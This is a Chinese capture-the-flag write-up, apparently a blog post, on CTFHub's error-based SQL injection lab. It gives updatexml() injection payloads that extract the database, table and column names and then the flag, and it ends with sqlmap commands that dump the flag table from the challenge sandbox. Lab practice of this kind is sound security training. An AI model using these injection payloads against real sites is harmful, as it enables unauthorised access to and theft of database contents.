CTFHUB技能树之SQL——报错注入

开启靶场,打开链接:

输入1:

没有回显出相关信息,初步判断是报错注入、时间盲注或布尔盲注


输入1':

显示出'1''和报错信息,说明没有闭合情况,是报错注入且是整数型注入


输入:

1 and updatexml(1,0x7e,3) -- a

正常显示报错信息,确定报错函数updatexml()可以使用


(1)爆数据库名

1 and updatexml(1,concat('~',database(),'~'),1) -- a

说明数据库名是sqli


(2)爆表名

1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a

得到表名是news和flag,其中flag表是我们要找的


(3)爆列名

1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'sqli' and table_name = 'flag'),'~'),1) -- a

得到列名是flag


(4)爆字段内容(flag)

1 and updatexml(1,concat('~',(select concat(flag) from flag limit 0,1),'~'),1) -- a

得到flag:

ctfhub{d49fefe662a37b6387cad068}


接下来用sqlmap爆破一下:

python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables


python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

一样成功得到flag

相关推荐
sR916Mecz4 小时前
Netty 线程模型
java·数据库·oracle
kjmkq5 小时前
2026移动应用跨平台开发框架从技术到业务的创新
数据库·代码
EFCY1MJ905 小时前
MYSQL ID耗尽应急恢复方案
java·数据库·mysql
lzhdim5 小时前
SQL 入门 8:SQL 复杂查询:子查询与ALL关键词
数据库·sql·mysql
不像程序员的程序媛5 小时前
mysql 表主键id 自增&雪花
数据库·mysql
l1t5 小时前
DeepSeek辅助编写的Oracle dmp转SQL脚本和CSV文件工具
数据库·人工智能·sql·oracle
風清掦6 小时前
【江科大STM32学习笔记-10】I2C通信协议 - 10.1 软件I2C读写MPU6050
笔记·stm32·单片机·嵌入式硬件·物联网·学习
Carino_U6 小时前
Innodb底层原理与MySQL日志机制
数据库·mysql
MwEUwQ3Gx6 小时前
常见Linux权限提升笔记
linux·运维·笔记
稻草猫.6 小时前
Spring事务操作全解析
java·数据库·后端·spring